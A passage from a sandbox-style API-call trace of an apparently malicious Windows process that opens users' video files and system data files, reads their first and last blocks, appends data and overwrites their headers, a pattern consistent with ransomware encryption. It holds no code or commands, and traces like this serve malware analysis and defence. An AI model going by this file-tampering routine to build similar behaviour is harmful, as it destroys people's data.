lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x20c, lpOverlapped=0x0) returned 1 [0051.754] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0051.754] WriteFile (in: hFile=0x198, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x794, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2f4f2d0*=0x794, lpOverlapped=0x0) returned 1 [0051.754] CloseHandle (hObject=0x198) returned 1 [0051.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ms82WP3AaqdO8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ms82wp3aaqdo8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x52ae [0051.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.755] ReleaseMutex (hMutex=0x128) returned 1 [0051.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ms82WP3AaqdO8.avi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0051.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ms82WP3AaqdO8.avi", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ms82WP3AaqdO8.avi", lpUsedDefaultChar=0x0) returned 17 [0051.755] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42ae [0051.756] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42ae [0051.756] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.756] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.756] CloseHandle (hObject=0x198) returned 1 [0051.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\MsHqbagz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\mshqbagz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x759f [0051.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.757] ReleaseMutex (hMutex=0x128) returned 1 [0051.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsHqbagz.avi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsHqbagz.avi", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsHqbagz.avi", lpUsedDefaultChar=0x0) returned 12 [0051.757] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x659f [0051.758] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x659f [0051.758] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.758] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.758] CloseHandle (hObject=0x198) returned 1 [0051.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\EjRsn6MDSID.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\ejrsn6mdsid.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe640 [0051.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.759] ReleaseMutex (hMutex=0x128) returned 1 [0051.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EjRsn6MDSID.swf", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EjRsn6MDSID.swf", cchWideChar=15, lpMultiByteStr=0x1e62fec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EjRsn6MDSID.swf", lpUsedDefaultChar=0x0) returned 15 [0051.759] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xd640 [0051.760] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xd640 [0051.760] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.760] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.760] CloseHandle (hObject=0x198) returned 1 [0051.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\yVXuyUD.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\yvxuyud.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe60e [0051.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.761] ReleaseMutex (hMutex=0x128) returned 1 [0051.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="yVXuyUD.mkv", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="yVXuyUD.mkv", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yVXuyUD.mkv", lpUsedDefaultChar=0x0) returned 11 [0051.761] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.231] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xd60e [0052.232] ReadFile (in: hFile=0x198, lpBuffer=0x1da7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.236] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xd60e [0052.236] WriteFile (in: hFile=0x198, lpBuffer=0x1da7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.238] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0052.238] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.243] CloseHandle (hObject=0x198) returned 1 [0052.243] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3944 [0052.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.249] ReleaseMutex (hMutex=0x128) returned 1 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Help_MValidator.H1D", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0052.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Help_MValidator.H1D", cchWideChar=19, lpMultiByteStr=0x1e78c44, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Help_MValidator.H1D", lpUsedDefaultChar=0x0) returned 19 [0052.253] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.265] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2944 [0052.265] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.268] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2944 [0052.268] WriteFile (in: hFile=0x198, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.268] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0052.268] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.268] CloseHandle (hObject=0x198) returned 1 [0052.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.269] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.269] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x400000 [0052.269] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.269] ReleaseMutex (hMutex=0x128) returned 1 [0052.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qmgr0.dat", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qmgr0.dat", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qmgr0.dat", lpUsedDefaultChar=0x0) returned 9 [0052.269] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0052.272] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0052.275] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0052.275] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3fe000 [0052.276] ReadFile (in: hFile=0x198, lpBuffer=0x280c5c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x280c5c8*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0052.279] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3fe000 [0052.280] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x2588, lpOverlapped=0x0) returned 1 [0052.283] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0052.283] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0052.284] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0052.284] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x2000, lpOverlapped=0x0) returned 1 [0052.285] CloseHandle (hObject=0x198) returned 1 [0052.285] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.285] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.285] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e0 [0052.285] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.285] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.285] ReleaseMutex (hMutex=0x128) returned 1 [0052.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATH.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0052.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATH.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e78c44, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.INFOPATH.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0052.285] ReadFile (in: hFile=0x198, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e0, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2f4f2bc*=0x6e0, lpOverlapped=0x0) returned 1 [0052.285] CloseHandle (hObject=0x198) returned 1 [0052.285] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.285] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.286] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6da [0052.286] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.286] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.286] ReleaseMutex (hMutex=0x128) returned 1 [0052.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0052.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78c44, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.OUTLOOK.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0052.286] ReadFile (in: hFile=0x198, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6da, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2f4f2bc*=0x6da, lpOverlapped=0x0) returned 1 [0052.286] CloseHandle (hObject=0x198) returned 1 [0052.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft 